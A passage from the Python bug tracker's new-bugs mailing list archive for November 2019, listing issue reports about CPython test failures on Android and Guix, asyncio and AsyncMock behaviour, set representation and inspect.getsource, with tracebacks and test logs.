Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38843>
_______________________________________

From report at bugs.python.org  Mon Nov 18 21:47:28 2019
From: report at bugs.python.org (Dong-hee Na)
Date: Tue, 19 Nov 2019 02:47:28 +0000
Subject: [New-bugs-announce] [issue38844] test_multiprocessing_fork emit
 user warning
Message-ID: <1574131648.5.0.417316133388.issue38844@roundup.psfhosted.org>


New submission from Dong-hee Na <donghee.na92 at gmail.com>:

https://travis-ci.org/python/cpython/jobs/613795145#L2020

Log detail:
0:01:44 load avg: 3.38 [ 73/419] test_multiprocessing_fork passed (1 min 42 sec) -- running: test_capi (1 min 40 sec)
/home/travis/build/python/cpython/Lib/multiprocessing/resource_tracker.py:203: UserWarning: resource_tracker: There appear to be 1 leaked shared_memory objects to clean up at shutdown
  warnings.warn('resource_tracker: There appear to be %d '
/home/travis/build/python/cpython/Lib/multiprocessing/resource_tracker.py:216: UserWarning: resource_tracker: '/psm_83d846d5': [Errno 2] No such file or directory: '/psm_83d846d5'

----------
components: Tests
messages: 356940
nosy: corona10
priority: normal
severity: normal
status: open
title: test_multiprocessing_fork emit user warning
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38844>
_______________________________________

From report at bugs.python.org  Tue Nov 19 05:21:15 2019
From: report at bugs.python.org (tlecarrour)
Date: Tue, 19 Nov 2019 10:21:15 +0000
Subject: [New-bugs-announce] [issue38845]
 test_shared_memory_SharedMemoryServer_ignores_sigint and others fail on
 Guix
Message-ID: <1574158875.47.0.121932090087.issue38845@roundup.psfhosted.org>


New submission from tlecarrour <tanguy at bioneland.org>:

Dear Python Bugs Team,

Some tests fail when building Python 3.8 on Guix, for instance?:

```
FAIL: test_shared_memory_SharedMemoryServer_ignores_sigint (test.test_multiprocessing_spawn.WithProcessesTestSharedMemory)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/tmp/guix-build-python-3.8.0.drv-0/Python-3.8.0/Lib/test/_test_multiprocessing.py", line 3824, in test_shared_memory_SharedMemoryServer_ignores_sigint
    os.kill(os.getpid(), signal.SIGINT)
AssertionError: KeyboardInterrupt not raised
```

This is because, on Guix, there is no TTY available during the build process.
A patch (cf attachment) has been added to the package definition [1], but it would make sense to have it integrated in Python.

[1]: https://debbugs.gnu.org/cgi/bugreport.cgi?bug=38208#14

It adds the following decorator to the failing tests:

```
@unittest.skipUnless(sys.stdin.isatty(), "KeyboardInterrupts require a TTY device")
```

Regards

----------
components: Tests
files: python-3.8-fix-tests.patch
keywords: patch
messages: 356959
nosy: tlecarrour
priority: normal
severity: normal
status: open
title: test_shared_memory_SharedMemoryServer_ignores_sigint and others fail on Guix
versions: Python 3.8
Added file: https://bugs.python.org/file48720/python-3.8-fix-tests.patch

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38845>
_______________________________________

From report at bugs.python.org  Tue Nov 19 06:54:28 2019
From: report at bugs.python.org (Sebastian Rittau)
Date: Tue, 19 Nov 2019 11:54:28 +0000
Subject: [New-bugs-announce] [issue38846] async: Return context manager from
 open(_unix)_connection
Message-ID: <1574164468.11.0.934598090921.issue38846@roundup.psfhosted.org>


New submission from Sebastian Rittau <srittau at rittau.biz>:

As a convenience it would be useful if async.open_connection() and open_unix_connection() would return a context manager that closes the writer on exit:

    with await open_unix_connection(...) as (reader, writer):
        ...

This could be achieved by using a custom sub-class of tuple:

    class _ConnectionContext(tuple):
        def __enter__(self):
            return self
        def __exit__(self, *args):
            self[1].close()

I can submit a PR if wanted.

----------
components: asyncio
messages: 356962
nosy: asvetlov, srittau, yselivanov
priority: normal
severity: normal
status: open
title: async: Return context manager from open(_unix)_connection
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38846>
_______________________________________

From report at bugs.python.org  Tue Nov 19 07:14:19 2019
From: report at bugs.python.org (Batuhan)
Date: Tue, 19 Nov 2019 12:14:19 +0000
Subject: [New-bugs-announce] [issue38847] AST Optimization for Single Target
 List Comprehension
Message-ID: <1574165659.02.0.559214725778.issue38847@roundup.psfhosted.org>


New submission from Batuhan <batuhanosmantaskaya at gmail.com>:

I was going through old issues and I found @inada.naoki's comment on issue 36551

> How about converting `[x for x in it]` to `[*it]` in AST?

Is this feature still wanted? I can try to work on an implementation for this if there is a need. Also should this cover set (`{x for x in it}`) comprehensions?

----------
messages: 356965
nosy: BTaskaya, inada.naoki
priority: normal
severity: normal
status: open
title: AST Optimization for Single Target List Comprehension

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38847>
_______________________________________

From report at bugs.python.org  Tue Nov 19 10:43:33 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Tue, 19 Nov 2019 15:43:33 +0000
Subject: [New-bugs-announce] [issue38848] test_compileall fails when the
 platform lacks a functional sem_open()
Message-ID: <1574178213.95.0.878583354455.issue38848@roundup.psfhosted.org>


New submission from Xavier de Gaye <xdegaye at gmail.com>:

See also the related issues:
#32126: [asyncio] test failure when the platform lacks a functional  sem_open()
#28668: instanciation of multiprocessing.Queue raises ImportError in test_logging

The test failure on android API 24:

generic_x86_64:/data/local/tmp/python $ python -m test -v test_compileall -m test_workers
== CPython 3.9.0a0 (heads/abifa-dirty:cf805c25e6, Nov 18 2019, 16:40:26) [Clang 8.0.2 (https://andro
id.googlesource.com/toolchain/clang 40173bab62ec7462
== Linux-3.10.0+-x86_64-with-libc little-endian
== cwd: /data/local/tmp/python/tmp/test_python_2579
== CPU count: 2
== encodings: locale=UTF-8, FS=utf-8
0:00:00 Run tests sequentially
0:00:00 [1/1] test_compileall
test_workers (test.test_compileall.CommandLineTestsNoSourceEpoch) ... FAIL
test_workers (test.test_compileall.CommandLineTestsWithSourceEpoch) ... FAIL

======================================================================
FAIL: test_workers (test.test_compileall.CommandLineTestsNoSourceEpoch)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/data/local/tmp/python/lib/python3.9/test/test_py_compile.py", line 20, in wrapper
    return fxn(*args, **kwargs)
  File "/data/local/tmp/python/lib/python3.9/test/test_compileall.py", line 707, in test_workers        self.assertRunOK(self.directory, '-j', '0')
  File "/data/local/tmp/python/lib/python3.9/test/test_compileall.py", line 397, in assertRunOK
    rc, out, err = script_helper.assert_python_ok(
  File "/data/local/tmp/python/lib/python3.9/test/support/script_helper.py", line 157, in assert_pyt
hon_ok
    return _assert_python(True, *args, **env_vars)
  File "/data/local/tmp/python/lib/python3.9/test/support/script_helper.py", line 143, in _assert_py
thon
    res.fail(cmd_line)
  File "/data/local/tmp/python/lib/python3.9/test/support/script_helper.py", line 70, in fail
    raise AssertionError("Process return code is %d\n"
AssertionError: Process return code is 1
command line: ['/data/local/tmp/python/bin/python', '-X', 'faulthandler', '-I', '-S', '-m', 'compile
all', '/data/local/tmp/python/tmp/tmpc1hy_667', '-j', '0']

stdout:
---

---

stderr:
---
Traceback (most recent call last):
  File "/data/local/tmp/python/lib/python3.9/multiprocessing/synchronize.py", line 28, in <module>
    from _multiprocessing import SemLock, sem_unlink
ImportError: cannot import name 'SemLock' from '_multiprocessing' (/data/local/tmp/python/lib/python
3.9/lib-dynload/_multiprocessing.cpython-39d.so)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/data/local/tmp/python/lib/python3.9/runpy.py", line 192, in _run_module_as_main
    return _run_code(code, main_globals, None,
  File "/data/local/tmp/python/lib/python3.9/runpy.py", line 85, in _run_code
    exec(code, run_globals)
  File "/data/local/tmp/python/lib/python3.9/compileall.py", line 425, in <module>
    exit_status = int(not main())
  File "/data/local/tmp/python/lib/python3.9/compileall.py", line 403, in main
    if not compile_dir(dest, maxlevels, args.ddir,
  File "/data/local/tmp/python/lib/python3.9/compileall.py", line 91, in compile_dir
    with ProcessPoolExecutor(max_workers=workers) as executor:
  File "/data/local/tmp/python/lib/python3.9/concurrent/futures/process.py", line 555, in __init__
    self._call_queue = _SafeQueue(
  File "/data/local/tmp/python/lib/python3.9/concurrent/futures/process.py", line 165, in __init__
    super().__init__(max_size, ctx=ctx)
  File "/data/local/tmp/python/lib/python3.9/multiprocessing/queues.py", line 42, in __init__
    self._rlock = ctx.Lock()
  File "/data/local/tmp/python/lib/python3.9/multiprocessing/context.py", line 67, in Lock
    from .synchronize import Lock
  File "/data/local/tmp/python/lib/python3.9/multiprocessing/synchronize.py", line 30, in <module>
    raise ImportError("This platform lacks a functioning sem_open" +
ImportError: This platform lacks a functioning sem_open implementation, therefore, the required sync
hronization primitives needed will not function, see issue 3770.
---

======================================================================
FAIL: test_workers (test.test_compileall.CommandLineTestsWithSourceEpoch)
======================================================================                      [38/374]
FAIL: test_workers (test.test_compileall.CommandLineTestsWithSourceEpoch)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/data/local/tmp/python/lib/python3.9/test/test_py_compile.py", line 30, in wrapper
    return fxn(*args, **kwargs)
  File "/data/local/tmp/python/lib/python3.9/test/test_compileall.py", line 707, in test_workers
    self.assertRunOK(self.directory, '-j', '0')
  File "/data/local/tmp/python/lib/python3.9/test/test_compileall.py", line 397, in assertRunOK
    rc, out, err = script_helper.assert_python_ok(
  File "/data/local/tmp/python/lib/python3.9/test/support/script_helper.py", line 157, in assert_pyt
hon_ok
    return _assert_python(True, *args, **env_vars)
  File "/data/local/tmp/python/lib/python3.9/test/support/script_helper.py", line 143, in _assert_py
thon
    res.fail(cmd_line)
  File "/data/local/tmp/python/lib/python3.9/test/support/script_helper.py", line 70, in fail
    raise AssertionError("Process return code is %d\n"
AssertionError: Process return code is 1
command line: ['/data/local/tmp/python/bin/python', '-X', 'faulthandler', '-I', '-S', '-m', 'compile
all', '/data/local/tmp/python/tmp/tmp3llbx9yv', '-j', '0']
stdout:
---

---

stderr:
---
Traceback (most recent call last):
  File "/data/local/tmp/python/lib/python3.9/multiprocessing/synchronize.py", line 28, in <module>
    from _multiprocessing import SemLock, sem_unlink
ImportError: cannot import name 'SemLock' from '_multiprocessing' (/data/local/tmp/python/lib/python
3.9/lib-dynload/_multiprocessing.cpython-39d.so)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/data/local/tmp/python/lib/python3.9/runpy.py", line 192, in _run_module_as_main
    return _run_code(code, main_globals, None,
  File "/data/local/tmp/python/lib/python3.9/runpy.py", line 85, in _run_code
    exec(code, run_globals)
  File "/data/local/tmp/python/lib/python3.9/compileall.py", line 425, in <module>
    exit_status = int(not main())
  File "/data/local/tmp/python/lib/python3.9/compileall.py", line 403, in main
    if not compile_dir(dest, maxlevels, args.ddir,
  File "/data/local/tmp/python/lib/python3.9/compileall.py", line 91, in compile_dir
    with ProcessPoolExecutor(max_workers=workers) as executor:
  File "/data/local/tmp/python/lib/python3.9/concurrent/futures/process.py", line 555, in __init__
    self._call_queue = _SafeQueue(
  File "/data/local/tmp/python/lib/python3.9/concurrent/futures/process.py", line 165, in __init__
    super().__init__(max_size, ctx=ctx)
  File "/data/local/tmp/python/lib/python3.9/multiprocessing/queues.py", line 42, in __init__
    self._rlock = ctx.Lock()
  File "/data/local/tmp/python/lib/python3.9/multiprocessing/context.py", line 67, in Lock
    from .synchronize import Lock
  File "/data/local/tmp/python/lib/python3.9/multiprocessing/synchronize.py", line 30, in <module>
    raise ImportError("This platform lacks a functioning sem_open" +
ImportError: This platform lacks a functioning sem_open implementation, therefore, the required synchronization primitives needed will not function, see issue 3770.
---

----------------------------------------------------------------------

Ran 2 tests in 0.693s

FAILED (failures=2)
test test_compileall failed
test_compileall failed

== Tests result: FAILURE ==

1 test failed:
    test_compileall

Total duration: 943 ms
Tests result: FAILURE

----------
components: Tests
messages: 356974
nosy: xdegaye
priority: normal
severity: normal
stage: needs patch
status: open
title: test_compileall fails when the platform lacks a functional  sem_open()
type: behavior
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38848>
_______________________________________

From report at bugs.python.org  Tue Nov 19 11:00:15 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Tue, 19 Nov 2019 16:00:15 +0000
Subject: [New-bugs-announce] [issue38849] test_timestamp_naive fails on
 android
Message-ID: <1574179215.81.0.231075264826.issue38849@roundup.psfhosted.org>


New submission from Xavier de Gaye <xdegaye at gmail.com>:

test_timestamp_naive of test_datetime fails on android API 24:

generic_x86_64:/data/local/tmp/python $ python -m test -v test_datetime -m test_timestamp_naive
== CPython 3.9.0a0 (heads/abifa-dirty:cf805c25e6, Nov 18 2019, 16:40:26) [Clang 8.0.2 (https://android.googlesource.com/toolchain/clang 40173bab62ec7462
== Linux-3.10.0+-x86_64-with-libc little-endian
== cwd: /data/local/tmp/python/tmp/test_python_2606
== CPU count: 2
== encodings: locale=UTF-8, FS=utf-8
0:00:00 Run tests sequentially
0:00:00 [1/1] test_datetime
test_timestamp_naive (test.datetimetester.TestDateTime_Pure) ... FAIL
test_timestamp_naive (test.datetimetester.TestDateTimeTZ_Pure) ... FAIL
test_timestamp_naive (test.datetimetester.TestSubclassDateTime_Pure) ... FAIL
test_timestamp_naive (test.datetimetester.TestDateTime_Fast) ... FAIL
test_timestamp_naive (test.datetimetester.TestDateTimeTZ_Fast) ... FAIL
test_timestamp_naive (test.datetimetester.TestSubclassDateTime_Fast) ... FAIL

======================================================================
FAIL: test_timestamp_naive (test.datetimetester.TestDateTime_Pure)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/data/local/tmp/python/lib/python3.9/test/support/__init__.py", line 1833, in inner
    return func(*args, **kwds)
  File "/data/local/tmp/python/lib/python3.9/test/datetimetester.py", line 2367, in test_timestamp_n
aive
    self.assertEqual(t.timestamp(), 18000.0)
AssertionError: 14400.0 != 18000.0

======================================================================
FAIL: test_timestamp_naive (test.datetimetester.TestDateTimeTZ_Pure)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/data/local/tmp/python/lib/python3.9/test/support/__init__.py", line 1833, in inner
    return func(*args, **kwds)
  File "/data/local/tmp/python/lib/python3.9/test/datetimetester.py", line 2367, in test_timestamp_n
aive
    self.assertEqual(t.timestamp(), 18000.0)
AssertionError: 14400.0 != 18000.0

======================================================================
FAIL: test_timestamp_naive (test.datetimetester.TestSubclassDateTime_Pure)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/data/local/tmp/python/lib/python3.9/test/support/__init__.py", line 1833, in inner
    return func(*args, **kwds)
  File "/data/local/tmp/python/lib/python3.9/test/datetimetester.py", line 2367, in test_timestamp_n
aive
    self.assertEqual(t.timestamp(), 18000.0)
AssertionError: 14400.0 != 18000.0

======================================================================
FAIL: test_timestamp_naive (test.datetimetester.TestDateTime_Fast)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/data/local/tmp/python/lib/python3.9/test/support/__init__.py", line 1833, in inner
    return func(*args, **kwds)
  File "/data/local/tmp/python/lib/python3.9/test/datetimetester.py", line 2367, in test_timestamp_n
aive
    self.assertEqual(t.timestamp(), 18000.0)
AssertionError: 14400.0 != 18000.0

======================================================================
FAIL: test_timestamp_naive (test.datetimetester.TestDateTimeTZ_Fast)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/data/local/tmp/python/lib/python3.9/test/support/__init__.py", line 1833, in inner
    return func(*args, **kwds)
  File "/data/local/tmp/python/lib/python3.9/test/datetimetester.py", line 2367, in test_timestamp_naive
    self.assertEqual(t.timestamp(), 18000.0)
AssertionError: 14400.0 != 18000.0

======================================================================
FAIL: test_timestamp_naive (test.datetimetester.TestSubclassDateTime_Fast)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/data/local/tmp/python/lib/python3.9/test/support/__init__.py", line 1833, in inner
    return func(*args, **kwds)
  File "/data/local/tmp/python/lib/python3.9/test/datetimetester.py", line 2367, in test_timestamp_naive
    self.assertEqual(t.timestamp(), 18000.0)
AssertionError: 14400.0 != 18000.0

----------------------------------------------------------------------

Ran 6 tests in 0.026s

FAILED (failures=6)
test test_datetime failed
test_datetime failed

== Tests result: FAILURE ==

1 test failed:
    test_datetime

Total duration: 331 ms
Tests result: FAILURE

----------
components: Tests
messages: 356975
nosy: xdegaye
priority: normal
severity: normal
stage: needs patch
status: open
title: test_timestamp_naive fails on android
type: behavior
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38849>
_______________________________________

From report at bugs.python.org  Tue Nov 19 11:06:11 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Tue, 19 Nov 2019 16:06:11 +0000
Subject: [New-bugs-announce] [issue38850] test_largefile fails on android
Message-ID: <1574179571.39.0.141498155807.issue38850@roundup.psfhosted.org>


New submission from Xavier de Gaye <xdegaye at gmail.com>:

The failure on andoid API 24:

generic_x86_64:/data/local/tmp/python $ python -m test -v test_largefile -m test_it
== CPython 3.9.0a0 (heads/abifa-dirty:cf805c25e6, Nov 18 2019, 16:40:26) [Clang 8.0.2 (https://andro
id.googlesource.com/toolchain/clang 40173bab62ec7462
== Linux-3.10.0+-x86_64-with-libc little-endian
== cwd: /data/local/tmp/python/tmp/test_python_2626
== CPU count: 2
== encodings: locale=UTF-8, FS=utf-8
0:00:00 Run tests sequentially
0:00:00 [1/1] test_largefile
test_it (test.test_largefile.TestCopyfile) ... ERROR
test_it (test.test_largefile.TestSocketSendfile) ... Exception in thread Thread-1:
Traceback (most recent call last):
  File "/data/local/tmp/python/lib/python3.9/threading.py", line 944, in _bootstrap_inner
    self.run()
  File "/data/local/tmp/python/lib/python3.9/threading.py", line 882, in run
    self._target(*self._args, **self._kwargs)
  File "/data/local/tmp/python/lib/python3.9/test/test_largefile.py", line 193, in run
    f.write(chunk)
OSError: [Errno 28] No space left on device
ERROR

======================================================================
ERROR: test_it (test.test_largefile.TestCopyfile)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/data/local/tmp/python/lib/python3.9/test/test_largefile.py", line 160, in test_it
    shutil.copyfile(TESTFN, TESTFN2)
  File "/data/local/tmp/python/lib/python3.9/shutil.py", line 270, in copyfile
    _fastcopy_sendfile(fsrc, fdst)
  File "/data/local/tmp/python/lib/python3.9/shutil.py", line 163, in _fastcopy_sendfile
    raise err from None
  File "/data/local/tmp/python/lib/python3.9/shutil.py", line 149, in _fastcopy_sendfile
    sent = os.sendfile(outfd, infd, offset, blocksize)
OSError: [Errno 28] No space left on device: '@test_2626_tmp' -> '@test_2626_tmp2'

======================================================================
ERROR: test_it (test.test_largefile.TestSocketSendfile)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/data/local/tmp/python/lib/python3.9/test/test_largefile.py", line 207, in test_it
    shutil.copyfile(TESTFN, TESTFN2)
  File "/data/local/tmp/python/lib/python3.9/shutil.py", line 270, in copyfile
    _fastcopy_sendfile(fsrc, fdst)
  File "/data/local/tmp/python/lib/python3.9/shutil.py", line 163, in _fastcopy_sendfile
    raise err from None
  File "/data/local/tmp/python/lib/python3.9/shutil.py", line 149, in _fastcopy_sendfile
    sent = os.sendfile(outfd, infd, offset, blocksize)
OSError: [Errno 28] No space left on device: '@test_2626_tmp' -> '@test_2626_tmp2'

======================================================================
ERROR: test_it (test.test_largefile.TestSocketSendfile)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/data/local/tmp/python/lib/python3.9/test/test_largefile.py", line 207, in test_it
    client.sendfile(f)
  File "/data/local/tmp/python/lib/python3.9/socket.py", line 483, in sendfile
    return self._sendfile_use_sendfile(file, offset, count)
  File "/data/local/tmp/python/lib/python3.9/socket.py", line 400, in _sendfile_use_sendfile
    raise err from None
  File "/data/local/tmp/python/lib/python3.9/socket.py", line 386, in _sendfile_use_sendfile
    sent = os_sendfile(sockno, fileno, offset, blocksize)
BrokenPipeError: [Errno 32] Broken pipe

----------------------------------------------------------------------

Ran 2 tests in 1.207s

FAILED (errors=2)
test test_largefile failed
test_largefile failed

== Tests result: FAILURE ==

1 test failed:
    test_largefile

Total duration: 1.4 sec
Tests result: FAILURE

----------
components: Tests
messages: 356976
nosy: xdegaye
priority: normal
severity: normal
stage: needs patch
status: open
title: test_largefile fails on android
type: behavior
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38850>
_______________________________________

From report at bugs.python.org  Tue Nov 19 14:40:49 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Tue, 19 Nov 2019 19:40:49 +0000
Subject: [New-bugs-announce] [issue38851] UDPLITE tests fail on android
Message-ID: <1574192449.59.0.396437190264.issue38851@roundup.psfhosted.org>


New submission from Xavier de Gaye <xdegaye at gmail.com>:

Attached test_socket.txt is the output of running 'python -m test -v test_socket' on android API 24. The 108 tests in error are UDPLITE tests introduced in issue #37345.

----------
components: Tests
files: test_socket.txt
messages: 356985
nosy: asvetlov, gappleto97, xdegaye
priority: normal
severity: normal
stage: needs patch
status: open
title: UDPLITE tests fail on android
type: behavior
versions: Python 3.9
Added file: https://bugs.python.org/file48722/test_socket.txt

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38851>
_______________________________________

From report at bugs.python.org  Tue Nov 19 15:02:17 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Tue, 19 Nov 2019 20:02:17 +0000
Subject: [New-bugs-announce] [issue38852] test_recursion_limit in
 test_threading crashes with SIGSEGV on android
Message-ID: <1574193737.03.0.937540674169.issue38852@roundup.psfhosted.org>


New submission from Xavier de Gaye <xdegaye at gmail.com>:

Actually it is the script that is spawned by test_recursion_limit that crashes with SIGSEGV on android API 24. Lowering the recursion limit in the script from 1000 to 100 with sys.setrecursionlimit() fixes the problem.

Here is the error:

generic_x86_64:/data/local/tmp/python $ python -m test -v test_threading -m test_recursion_limit   
== CPython 3.9.0a0 (heads/abifa-dirty:cf805c25e6, Nov 18 2019, 16:40:26) [Clang 8.0.2 (https://android.googlesource.com/toolchain/clang 40173bab62ec7462
== Linux-3.10.0+-x86_64-with-libc little-endian
== cwd: /data/local/tmp/python/tmp/test_python_4603
== CPU count: 2
== encodings: locale=UTF-8, FS=utf-8
0:00:00 Run tests sequentially
0:00:00 [1/1] test_threading
test_recursion_limit (test.test_threading.ThreadingExceptionTests) ... FAIL

======================================================================
FAIL: test_recursion_limit (test.test_threading.ThreadingExceptionTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/data/local/tmp/python/lib/python3.9/test/test_threading.py", line 1086, in test_recursion_limit
    self.assertEqual(p.returncode, 0, "Unexpected error: " + stderr.decode())
AssertionError: -11 != 0 : Unexpected error: 

----------------------------------------------------------------------

Ran 1 test in 0.148s

FAILED (failures=1)
test test_threading failed
test_threading failed

== Tests result: FAILURE ==

1 test failed:
    test_threading

Total duration: 354 ms
Tests result: FAILURE

----------
components: Tests
messages: 356988
nosy: xdegaye
priority: normal
severity: normal
stage: needs patch
status: open
title: test_recursion_limit in test_threading crashes with SIGSEGV on android
type: crash
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38852>
_______________________________________

From report at bugs.python.org  Tue Nov 19 16:27:41 2019
From: report at bugs.python.org (Cat Chenal)
Date: Tue, 19 Nov 2019 21:27:41 +0000
Subject: [New-bugs-announce] [issue38853] set.repr breaches docstring
 contract
Message-ID: <1574198861.64.0.9694268826.issue38853@roundup.psfhosted.org>


New submission from Cat Chenal <catchenal at gmail.com>:

S = {19,8,-1,25,0,1,2,3,4,5,6,7}
print('Set S = {{19,8,-1,25,0,1,2,3,4,5,6,7}}')

The set is represented by a new string-ordered set:
print(f'Its repr is:\n{S}\n')
Output:
{0, 1, 2, 3, 4, 5, 6, 7, 8, 19, 25, -1}

This is a breach of the contract stated in the docstring: "Build an unordered collection of unique elements."

----------
components: ctypes
messages: 356991
nosy: Ylem
priority: normal
severity: normal
status: open
title: set.repr breaches docstring contract
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38853>
_______________________________________

From report at bugs.python.org  Tue Nov 19 16:37:42 2019
From: report at bugs.python.org (Guido Imperiale)
Date: Tue, 19 Nov 2019 21:37:42 +0000
Subject: [New-bugs-announce] [issue38854] Decorator breaks inspect.getsource
Message-ID: <1574199462.47.0.0804409972746.issue38854@roundup.psfhosted.org>


New submission from Guido Imperiale <crusaderky at gmail.com>:

Python 3.7.5 and 3.8.0
A decorator causes inspect.getsource() to return clipped output:



from collections import defaultdict
from functools import wraps
import inspect


def foo(*args):
    def decorator(func):
        @wraps(func)
        def wrapper():
            pass
        return wrapper
    return decorator


@foo(dict(), defaultdict(lambda: 1))
def f():
    pass


print(inspect.getsource(f))



Output:

@foo(dict(), defaultdict(lambda: 1))

Expected output:

@foo(dict(), defaultdict(lambda: 1))
def f():
    pass


These changes to the decorator parameters cause the problem to disappear:

- @foo({}, defaultdict(lambda: 1))
- @foo(dict(), defaultdict(list))

----------
messages: 356993
nosy: crusaderky
priority: normal
severity: normal
status: open
title: Decorator breaks inspect.getsource
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38854>
_______________________________________

From report at bugs.python.org  Tue Nov 19 16:44:26 2019
From: report at bugs.python.org (Cat Chenal)
Date: Tue, 19 Nov 2019 21:44:26 +0000
Subject: [New-bugs-announce] [issue38855] test_unpack.py does not catch the
 unpacking of a set
Message-ID: <1574199866.94.0.505972513072.issue38855@roundup.psfhosted.org>


New submission from Cat Chenal <catchenal at gmail.com>:

S = {19,8,-1,25,0,1,2,3,4,5,6,7}

a, *b, c = S
print('a:', a)
print('b:', b)
print('c:', c)

Output:
a: 0
b: [1, 2, 3, 4, 5, 6, 7, 8, 19, 25]
c: -1

Either test_unpack.py needs a test for "non-indexable object" to prevent this unpacking of a non-sequence, or the unpacking of a set should be implemented (granted the ordered repr of a set is changed to unordered, see Issue38853).

Being able to "unpack" a set would be nice to have, imho, because one would use that operation to obtain a partition (over unordered elements).

----------
components: Tests, ctypes
messages: 356994
nosy: Ylem
priority: normal
severity: normal
status: open
title: test_unpack.py does not catch the unpacking of a set
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38855>
_______________________________________

From report at bugs.python.org  Tue Nov 19 17:06:26 2019
From: report at bugs.python.org (Yury Selivanov)
Date: Tue, 19 Nov 2019 22:06:26 +0000
Subject: [New-bugs-announce] [issue38856] wait_closed() can raise
 ConnectionResetError
Message-ID: <1574201186.66.0.441437608856.issue38856@roundup.psfhosted.org>


New submission from Yury Selivanov <yselivanov at gmail.com>:

The exception should probably be just ignored.  Andrew, thoughts?

Here's an example error traceback:

      Traceback (most recent call last):
        File "c:\projects\asyncpg\asyncpg\connection.py", line 1227, in _cancel
          await w.wait_closed()
        File "C:\Python38\lib\asyncio\streams.py", line 376, in wait_closed
          await self._protocol._get_close_waiter(self)
        File "c:\projects\asyncpg\asyncpg\connection.py", line 1202, in _cancel
          await r.read()  # Wait until EOF
        File "C:\Python38\lib\asyncio\streams.py", line 694, in read
          block = await self.read(self._limit)
        File "C:\Python38\lib\asyncio\streams.py", line 701, in read
          await self._wait_for_data('read')
        File "C:\Python38\lib\asyncio\streams.py", line 534, in _wait_for_data
          await self._waiter
        File "C:\Python38\lib\asyncio\proactor_events.py", line 280, in _loop_reading
          data = fut.result()
        File "C:\Python38\lib\asyncio\windows_events.py", line 808, in _poll
          value = callback(transferred, key, ov)
        File "C:\Python38\lib\asyncio\windows_events.py", line 457, in finish_recv
          raise ConnectionResetError(*exc.args)
      ConnectionResetError: [WinError 64] The specified network name is no longer available

----------
messages: 356996
nosy: asvetlov, lukasz.langa, yselivanov
priority: release blocker
severity: normal
status: open
title: wait_closed() can raise ConnectionResetError
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38856>
_______________________________________

From report at bugs.python.org  Tue Nov 19 18:04:13 2019
From: report at bugs.python.org (Jason Fried)
Date: Tue, 19 Nov 2019 23:04:13 +0000
Subject: [New-bugs-announce] [issue38857] AsyncMock issue with awaitable
 return_value/side_effect/wraps
Message-ID: <1574204653.99.0.272373846707.issue38857@roundup.psfhosted.org>


New submission from Jason Fried <me at jasonfried.info>:

If you are trying to use AsyncMock to mock a coroutine that returns awaitable objects, AsyncMock awaits on those objects instead of returning them as is. 

Example:
  mock = AsyncMock(return_value=asyncio.Future())
  v = await mock()  # blocks on trying to await the future

Expected:
  mock = AsyncMock(return_value=asyncio.Future())
  v = await mock()
  assert isisnstance(v, asyncio.Future)

This problem affects side_effects and wraps.

----------
components: Library (Lib)
messages: 357000
nosy: fried, lisroach
priority: normal
severity: normal
status: open
title: AsyncMock issue with awaitable return_value/side_effect/wraps
versions: Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38857>
_______________________________________

From report at bugs.python.org  Tue Nov 19 18:11:09 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Nov 2019 23:11:09 +0000
Subject: [New-bugs-announce] [issue38858] new_interpreter() should reuse
 more Py_InitializeFromConfig() code
Message-ID: <1574205069.59.0.0921100013632.issue38858@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at python.org>:

Currently, new_interpreter() is a subset of Py_InitializeFromConfig(): the code was duplicated. I would prefer that both functions stay in sync and so that new_interpreter() reuses more Py_InitializeFromConfig() code.

----------
components: Interpreter Core
messages: 357001
nosy: vstinner
priority: normal
severity: normal
status: open
title: new_interpreter() should reuse more Py_InitializeFromConfig() code
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38858>
_______________________________________

From report at bugs.python.org  Tue Nov 19 19:14:29 2019
From: report at bugs.python.org (Jason Fried)
Date: Wed, 20 Nov 2019 00:14:29 +0000
Subject: [New-bugs-announce] [issue38859] AsyncMock says it raises
 StopIteration but that is Impossible
